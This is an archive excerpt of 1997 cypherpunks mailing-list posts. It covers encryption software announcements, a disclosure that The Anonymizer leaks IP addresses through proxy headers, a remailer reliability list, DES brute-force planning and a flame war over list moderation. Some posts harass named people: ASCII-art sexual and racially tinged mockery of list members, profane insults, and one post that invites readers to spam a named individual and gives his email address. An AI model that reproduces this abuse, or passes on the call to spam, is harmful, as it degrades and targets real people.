Content-Type: text/plain


In a jerk-off competition Dr.Dopehead Vitriolic K[arcass]OfTheMonth
finishes second, third and fifth.

       D\___/\
        (0_o)   Dr.Dopehead Vitriolic K[arcass]OfTheMonth
         (V)
  ---oOo--U--oOo---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sun, 9 Feb 1997 21:48:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ann: Encrypted disks for Windows NT (fwd)
Message-ID: <Pine.GSO.3.95q.970209214604.29243B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone seen this here?  I wasn't sure if it had been posted, so I thought
I'd pass it on.  I have not looked at the software yet...


Rich

---------- Forwarded message ----------
Date: Mon, 10 Feb 1997 03:18:03 +0200 (IST)
From: softwinter@post1.com
To: richieb@teleport.com
Subject: Ann: Encrypted disks for Windows NT

Soft Winter Corporation, February 10, 1997 released:
Shade - strong encryption software for Windows NT.

Shade allows you to create encrypted disk device inside a file.
Such a device can then be formatted using any file system
(like NTFS or FAT) and used as a regular disk. The only difference
is that Shade will encrypt the data on every write operation
and decrypt it on every read operation.

To download  go to: http://softwinter.bitbucket.co.il

Soft Winter Corporation,
softwinter@post1.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Sun, 9 Feb 1997 22:49:53 -0800 (PST)
To: victor.volkman@hal9k.com
Subject: LInteger Version 0.2: A C++ MPILIB
Message-ID: <199702100646.WAA02464@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

LInteger is a set of C++ libraries supporting multiple precision integers.
Also included are libraries supporting chain hash functions and
pseudo-random number generators.

The core multiple precision methods are coded in i386+ assembly language
for high speed. The libraries will only compile under GNU's g++ compiler,
and have only been tested under the Linux and Windows NT operating systems.
It is anticipated that there should not be any problems compiling under
Windows '95, however, and that compiling for OS/2 will only require minor
hacking, if any.

Included as a sample chain hash function is an i386+ assembly
implementation of the Secure Hash Algorithm (FIPS 180-1).  Included as a
sample pseudo-random number generator is an implementation of a
pseudo-random number generator described in Section 3.1 of FIPS 186 (the
Digital Signature Standard).

Complete HTML documentation is provided for all public and protected
methods.  The package is free for both commercial and non-commercial use.

Some of the improvements of this release over version 0.1 include:

 - Pseudo-random number generation. 
 - Probable prime generation. 
 - Easier constructors. 
 - MontyRep and ResidueClass classes. 
 - ASCII I/O in bases 1 to 36. 
 - Overloading of fstreams operators for storage on persistent media. 
 - Easier exponentiation. 
 - Pentium optimizations for multiplication and squaring. 
 - A square root function (by special request). 
 - 8+3 filenames (by special request). 
 - Various bug fixes and speed improvements (and some slowdowns! :) ) 

The package is available for download at

 http://www.interchg.ubc.ca/janke/linteger.html

The hashes for version 0.2 are

MD5:        61f027957065b88a690def3557956d34 
RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 
SHA0:       b8e65d49ae0ae3ab26741030c8ca03137e16b493 
SHA1:       c46317ad7e3a9ff38092269b21513dbf68c0e3ef 
RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQCVAwUBMv65lDjQF257xHLhAQG+TwQAhLaBP6z3nLKbBKcmSomPPE9G+r1z/tpD
5rA1p9ImwjJZnLAARiywdzH0bXS2n4Yf6jfPOUBZ0FMonNXLfkRJcXIgf0c16+mQ
GeX2YYYxRQ+BWcUpzgZBe9y1Y7BJ/I4f0Qbu7jWHn6sOdv+qejxS6+Wos/6vVDoF
3LOfYCyG8Xs=
=jnym
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 20:00:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ANON: anonymizer.com thru proxy server is bad news
In-Reply-To: <199702092015.PAA30654@yakko.cs.wmich.edu>
Message-ID: <uq6V2D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Damaged Justice <frogfarm@yakko.cs.wmich.edu> writes:

>
> >From: jmccorm@galstar.com (Josh McCormick)
> Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.brow
> Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com"
> Date: 9 Feb 1997 19:25:46 GMT
> Lines: 43
> Message-ID: <5dl8bq$6h3@mercury.galstar.com>
>
> THE CLAIM:
> > Our "anonymizer" service allows you to surf the web without
> > revealing any personal information.
>
> THE PROBLEM:
> > If you access The Anonymizer through a proxy server, it may add a
> > variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter
> > out, revealing your true identity.
>
> THE DATA:
> > Below is a printout of the variables from an "anonymous" session done
> > through The Anonymizer when accessed through the Squid proxy server.
>
> REMOTE_HOST=darkmatter.infonex.com
> REMOTE_ADDR=206.170.114.24
> HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!)
> HTTP_HOST=sol.infonex.com:8080
> HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.
> HTTP_PRAGMA=no-cache
> HTTP_PROXY_CONNECTION=Keep-Alive
>
> THE RESULT:
> > A CGI script could see that you were using The Anonymizer to hide
> > yourself, but your true IP address is revealed in the "HTTP_FORWARDED"
> > string.
>
> THE SUMMARY:
> > Beware using an anonymous browsing service if you are going through a
> > proxy server. Until they remove the information provided by proxy
> > servers, using their service isn't as anonymous as they say.
>
> THE QUOTE:
> > (from The Anonymizer home page) "Many people surf the web under the
> > illusion that their actions are private and anonymous. Unfortunately, it
> > isn't so."
>
> =====================================================================
> == Josh McCormick             Galaxy Star Systems                  ==
> == jmccorm@galstar.com        Providing Quality Internet Access    ==
> == Systems Administrator      WWW: http://www.galstar.com/~jmccorm ==
> =====================================================================
>
> --
> http://yakko.cs.wmich.edu/~frogfarm/  ...for the best in unapproved informati
>  "Would I had phrases that are not known, utterances that are strange, in new
>  language that has not been used, free from repetition, not an utterance whic
>  has grown stale, which men of old have spoken."  - inscribed on Egyptian tom

Isn't this "anonymizer" run by Sameer Parekh and his C2Net? It figures...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Sun, 9 Feb 1997 23:47:56 -0800 (PST)
To: coderpunks@toad.com
Subject: Re: LInteger Version 0.2: A C++ MPILIB
In-Reply-To: <199702100646.WAA02464@clouds.heaven.org>
Message-ID: <m24tflf6jp.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain



Ooopsy...

Please be remove victor.volkman@hal9k.com from the CC: or To: lines
in any follow-ups to this article.

Leonard 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 9 Feb 1997 23:47:21 -0800 (PST)
Subject: Re: Who's ahead: NSA or the private sector?
In-Reply-To: <5dh48p$clc@tor-nn1-hb0.netcom.ca>
Message-ID: <32FED23D.2641@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


That's not really a meaningful question.
We can write codes they can't crack.  They can write codes we can't
crack.
The cats are out of the bag, and David Aaron can't herd them back in.

In some sense, the NSA is ahead of academia, because academia publishes,
so they can read everything the Good Guys have done (less six months
waiting to get published in journals :-), while the NSA seldom
publishes.
(There are also corporations doing non-published crypto work,
but not much - they also see the value of open system review.
And the KGB may have been good as well, but they're not in our face,
and we can write codes the Russians and French can't crack either.)
The NSA has almost certainly done more work on analyzing obscure Russian
cryptosystems, but who knows how much of that is just brute force.

But the real problems these days are engineering, not science*,
so it's probably worth spotting them a few bits of keyspace just in
case.
The NSA is better able to come up with a few million dollars to build
custom key-cracking hardware than industry is, so we have to presume
they can do at least as well as a Wiener machine for cracking DES;
they're certainly better at eavesdropping on calls than we are.
I don't know if we can coordinate more workstations for a distributed
crack,
but they _could_ issue the FedCast Secure Screen Saver for all federal
PCs;
the only question is how much time would it spend cracking keys and
how much grepping for suspicious files :-)  There may still be radical 
changes in factoring technology, especially as computers get faster,
but I doubt they'll do more in practice than force us to use longer
keys,
unless someone proves P=NP in the far mythical future or proves that
factoring is in or near P.

The interesting questions are at the boundaries of strong crypto
and weak crypto - 40 bits is a nasty joke, DES is still interesting
for things that don't have too much money riding on them,
Skipjack is probably strong enough for a few years unless there's a 
second back door next to the one with the big "Cops Only" neon sign.
How strong can we make something and still get export permission?
Do we care?  What are the threat models for different "Key Recovery"
scams,
and are we willing to write deliberatlely weak code to collaborate?
Are the non-RSA public key systems good enough until the patent expires?

There are some boundary problems that are interesting for non-political
reasons - now that every toaster and digital wristwatch has an IP
address
and a few KB of RAM, what kind of useful crypto will fit in them?

Key distribution is still interesting - how do you make a system that's
convenient enough to use and secure enough to work?  And distributed
cracking systems are interesting, though the main uses for them are
for cracking known-weak cryptosystems.

Then there's the field of secure databases, which I think has both
practical potential and scientific merit - how do you mix data together
without leaking the secure stuff to unauthorized users, either directly
or through combining lots of non-privileged data.

[*Borrowing from Matt Blaze gratefully acknowledged.]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 9 Feb 1997 23:50:29 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
In-Reply-To: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com>
Message-ID: <32FED2DA.2C24@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:

> Sandy's e-mailed several of us who've sent messages about Vulis's
> ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
> on moderators of all kinds, not just on the net.

Now you've admitted that Sandy, ever more desperate, is grasping
for allies for some future attack.  And you've accused Dr. Vulis
of plotting against Sandy.  Tsk tsk.

> What's worth admiring is how Vulis has adeptly managed to get others
>  -- targets and witting and unwitting cohorts -- to go along with his attack,
> attack, attack, by opposing or supporting it. A useful lesson.

This is not the healthy kind of paranoia.

> Smart dude, that Vulis, but no more so than others on the Net, say,
> Tim May, and in the world who've done the same elsewhere, maybe
> by even smarter dude(s) who provoked, angered, insulted, an unwitting
> Vulis, or May, to attack on behalf of ...

Tim May in the same breath as Dr. Vulis?  I underestimated the level
of desperation here.

> But such deception is to be expected, along with feigned suprise and
> outrage at the unfairness of opponents fighting as dirty as one's own
> pure-blackhearts.

Neither I nor (I'm certain) Dr. Vulis are surprised by any of this.
Who were you referring to?

> Sandy's not censoring cypherpunks, nor is Vulis or May or any single
> person alone. As Pogo said, it's all of us, posters and lurkers and spooks,
> each trying to get one's way to prevail, under guise of a high principle not
> easily honored when the squeeze is on alone in a dark cell. Come on out
> Sandy, it was just a drill.

Well, he claims he's not censoring anymore.  If you believe that,
you're probably waiting for the Easter bunny.

> It's probably worth saving accusations of censorship for the real thing,
> after trial usage here for what is truly nasty high-stakes global info-war
> gaming.

Blah blah blah blah.  Bottom line is this:  "Moderation" is really
censorship.  You can go on with this "plausible denial" all you
want to, but the jig is up, so to speak.  They've been caught being
sneaky and deceptive with people's mail.  Naughty naughty.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 10 Feb 1997 06:36:34 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
In-Reply-To: <1.5.4.32.19970210132200.006d51bc@pop.pipeline.com>
Message-ID: <32FF3159.4D65@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> To Thorn and Cuckoo (great juxtaposition):
> Your exhortation and rhetoric are deft, but I'm not ready to take
> sides just yet. In fact, I can't figure what the sides are, if any, in this
> anti-herd of caterwauling anarchic cats.
> Instead, I'm relishing and laughing at the spitting and farting contest,
> and hoping this gameboying will prepare for the genuinely tough
> battles in high stakes info-wargames.
> There, wipe and sniff that exhort and rhet.

I don't want to make any suggestions about having a clue or whatever,
but just in case you didn't know, John, I'm not censoring anything,
nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers
to this list.  It is all being done by a central "authority".

Now you can't figure out who's on what side?  Or you just can't
decide who to line up with?  In case you hadn't noticed, the
censorship has been admitted a failure, although the denial from
the central "authority" is so thick that some folks on the list
will be hoping for Santa to come save them for some time to come.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cuckoo <cuckoo@cuckoo.com>
Date: Mon, 10 Feb 1997 04:34:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Who's Censoring Who?
In-Reply-To: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com>
Message-ID: <32FF31A9.2E04@cuckoo.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
 > Sandy's e-mailed several of us who've sent messages about Vulis's
 > ploy to put Sandy in a conflict-of-interest bind
 
   Did Sandy happen to mention how the evil Dr. Vulis managed to
 twist his impressionable young mind so that his only concern about
 libel is centered around his employer?
 
   Did Sandy mention why his employer went nuclear over the mention
 of the 'b-d' word by an individual whom his employees on the list
 regularly label as a troublemaker and a nut case?
 (Methinks they doth protest _too_ much?)
 
   Did Sandy mention that his employer is in the postion of owning
 the cypherpunks.com domain-name and is in a great postion to profit
 by controlling and/or destroying the cypherpunks list?
   Did Sandy mention that when his own takeover of the list (by
 virtue of 'moving' the subscribers into a list filtered by himself)
 faltered, by becoming an open joke, that one of his fellow employees
 called for the "killing" of the list?
   Did Sandy mention that the pecker-tracks of his employers minions
 leave a sordid trail across the whole face of this whole censorship
 farce?
 
   Gee, John, I wish that I had crypto software to sell, and employees
 who were in control of the reputation capital of the cypherpunks list.
 I wish that I had a domain named cypherpunks.com waiting to capitalize
 on the cypherpunks name to sell my crypto software.
   Of course, some asshole somewhere might regard this as a "ploy"
 to profit from creating misfortune for the cypherpunks. They might
 even think that I had a hand in that misfortune.
 
 
 > It's probably worth saving accusations of censorship for the real 
> thing 
   What fucking planet have you been living on, shit-for-brains?
   We're not talking about "accusations," here. We're talking about
 posts by average list subscribers who are coming forward and speaking
 out about the facts surrounding the misappropriation of their posts
 in order to further the private interests of Sandy.
   We're talking about the suppression of postings which Question
 Authority. We're talking about shit-canning postings without
 informing the list, because the actions are reprehensible. We're
 talking about censorship which, in the censor's own words, is not
 based on crypto-relevancy, but a changing morass of ill-defined
 'Sandy rules' (or 'Sandy Rules!', if you prefer).
   We're talking about robotic censorship where those who do not
 bend under the jackboots suppressing free speech on the cypherpunks
 list are auto-botted to cypherpunks-dontsaybadthingsaboutmyemployer.
 
   Your posts are usually fairly intelligent, so I have no idea why
 you are wasting your own reputation capital attempting to defend
 an inept, lame-duck censor who is too cowardly to defend his own
 vile actions.
   Instead, he declares that he has absolutely no interest in
 filtering out the "Make Money Fast" and "Penis-Picture" garbage
 for list members if he can't use his usurped-power to slam the
 jackboots down on any niggling detail that doesn't serve his
 own private interests.
 
 Cuckoo (<-- Dr. Vulis 'made' me use this name.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 10 Feb 1997 06:50:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702101450.GAA02197@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 10 Feb 97 6:46:24 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             **-#+*#*#*##     1:59 100.00%
jam      remailer@cypherpunks.ca                ******     8:22  99.98%
wazoo    remailer@wazoo.com                     *+++++    33:48  99.97%
weasel   config@weasel.owl.de             ++++++-++++   1:05:51  99.84%
lucifer  lucifer@dhp.com                  ++++++++++++    37:45  99.78%
dustbin  dustman@athensnet.com            ----+-- .+++  2:42:13  99.65%
balls    remailer@huge.cajones.com        +-- **### *#     2:12  99.60%
cyber    alias@alias.cyberpass.net        ++*+++*** *+    30:13  99.59%
haystack haystack@holy.cow.net             *#-+###*##*     4:06  99.42%
squirrel mix@squirrel.owl.de              ++ +++-+ ++   1:05:29  99.26%
exon     remailer@remailer.nl.com         #* * ##  **#     1:21  99.18%
middle   middleman@jpunix.com              ---+-. +++   2:51:34  98.78%
replay   remailer@replay.com              +-***+*---+*    27:45  98.57%
extropia remail@miron.vip.best.com         .- -------   4:46:55  98.08%
reno     middleman@cyberpass.net            --+-  .++   1:27:14  96.63%
mix      mixmaster@remail.obscura.com     +_ __.-*+    22:42:38  93.53%
winsock  winsock@rigel.cyberpass.net      ----.---   +  5:48:14  75.89%
shaman   mix@mix.nymserver.com                             2:46   9.00%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 10 Feb 1997 03:58:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: HIC_rim
Message-ID: <1.5.4.32.19970210115212.006cdde0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97 NYT has Page One lead on high resolution commercial
"spy satellites," and the welter of political, social, economic and 
national security consequences as foreign governments,  
corporations and individuals hire them to invade privacy, secret 
sites and labs.

A nearby story reports on organized crime's shift to new industries,
especially those reliant on high technology: calling cards, stock
offerings and health care.

-----

HIC_rim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 10 Feb 1997 05:27:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Who's Censoring Who?
Message-ID: <1.5.4.32.19970210132200.006d51bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


To Thorn and Cuckoo (great juxtaposition):

Your exhortation and rhetoric are deft, but I'm not ready to take 
sides just yet. In fact, I can't figure what the sides are, if any, in this
anti-herd of caterwauling anarchic cats.

Instead, I'm relishing and laughing at the spitting and farting contest, 
and hoping this gameboying will prepare for the genuinely tough 
battles in high stakes info-wargames. 

There, wipe and sniff that exhort and rhet.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 10 Feb 1997 06:30:20 -0800 (PST)
To: cypherpunks mailing list <jeremym@r56h159.res.gatech.edu>
Subject: Modified Clipper chip - HA!
Message-ID: <3.0.1.32.19970210092916.00944490@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


For all of you who didn't see the last X-Files ...
Mulder made a visit to The Lone Gunman about breaking into some
impenetrable system.
Byers points out that "Yeah, that system is pretty hard to get into."
Mulder then inquires "well how did you guys get in?".
Byers replies cooly: "We used a modified Clipper chip we bought back from
the Chinese."
I didn't stop laughing for 5 minutes ... :)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"Women. You can't live with 'em. . . and yet they're everywhere."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 10 Feb 1997 01:16:35 -0800 (PST)
To: "'Timothy C. May'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=tcmay+40got+2Enet+3B@chemson.com>
Subject: RE: remailer-operators DEA agents?
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970210092040Z-901@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


>
>Again, I am only on the Flames list. So why was this message sent to the
>Flames list? Because someone responded to a Vulis post? Is a response to a
>Banned Message now grounds for rejection?
>
After whinghing about Dimitri and about people sending flames to the
list, you only subscribe to the flames-list.... you just don't make
sense Timmy.


Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 10 Feb 1997 07:28:38 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: You guys/gals oughta get a kick outta this guy
Message-ID: <3.0.1.32.19970210102744.0092dea0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another person who needs a good stern talking to by the nearest
cypherpunk --- this guy posted to comp.lang.perl.misc with the following
blasphemy, which I luaghed at until I had tears in my eyes.
--BEGIN COMPLETE STUPIDITY--
I want to make it executable to protect the source code from being read. I
don't want the source code available because I don't want people looking
for security holes.
--END COMPLETE STUPIDITY--

If anyone wants to spam this guy, or at least show him the error of his
ways, his sig explains the necessary info:

David K.
djk490s@nic.smsu.edu


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If the ionization rate is constant for all ectoplasmic entities, we could
really bust some heads! In a spiritual sense, of course.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 10 Feb 1997 01:59:01 -0800 (PST)
To: "'Sandy Sandfort'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=sandfort+40crl8+2Ecrl+2Ecom+3B@chemson.com>
Subject: RE: MODERATION
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970210095738Z-908@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy writes:
>
>C'punks,
>
>I'm ending my participation in the moderation of the list. 

Well  that was short and ..... errr  bitter!

> It would have been an interesting experiment if list members had 
>been open minded enough to give it a good faith effort. 
              ^^^^^^^^^^^^^^^ 

There's a difference between being open minded and gullible Sandy.
Nothing like ducking and running away when your little game didn't turn
out the way that you wanted it to!

This is not a flame, it is my opinion but none the less I'm sure that it
will end up in the flames list or be conveniently lost in the masses of
mail that John's majordomo receives every day.


Scott.
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Koenig <ig25@mvmap66.ciw.uni-karlsruhe.de>
Date: Mon, 10 Feb 1997 03:26:43 -0800 (PST)
To: challenge@list.ee.ethz.ch (challenge)
Subject: What's next?
Message-ID: <199702101024.LAA08950@mvmap66.ciw.uni-karlsruhe.de>
MIME-Version: 1.0
Content-Type: text/plain


Now that we appear to be at a sustainable 300 MK/sec (which I could
hardly believe at first :-), is there any chance we could be attacking
the 56-bit DES key next?

DES is rumoured to be faster than RC5; also, there are likely to
be optimized assembler versions out there already.

We could also make better use of 64-bit architectures, since DES
uses 64-bit blocks.

However (and this is a very big however), that's still a keyspace of
7.2*10^16 keys to search.  Assuming 10^9 keys/second (three times our
current speed, which may be attainable with a good DES implementation)
that's still a bit over two years; too long by a factor of 10 or so.

Soo....

How fast are current DES implementations?  People could try des.c from
the ssh distribution as a starting point.

How much more computing power could we bring online?

Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all
the other nifty 64-bit architectures?

Does it make sense to use MMX or equivalent for DES?
-- 
Thomas Koenig, Thomas.Koenig@ciw.uni-karlsruhe.de, ig25@dkauni2.bitnet.
The joy of engineering is to find a straight line on a double
logarithmic diagram.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 10 Feb 1997 12:21:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Zero-knowledge commit
Message-ID: <199702102021.MAA10026@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Mayonnaise sits at his terminal dressed in 
five-inch stiletto heels, fishnet stockings, a 
gold-lame mini-skirt, a purple halter with girdle 
underneath to keep in his flabby gut, a Fredericks of 
Hollywood padded bra also underneath the halter, a 
cheap Naomi Sims pink afro wig, waiting to yank his 
crank whenever a black man responds to one of his inane 
rants.

         \\\
        (0 0)
    _ooO_(_)_Ooo____ Tim C. Mayonnaise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Mon, 10 Feb 1997 12:26:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
Message-ID: <199702102025.MAA00859@well.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
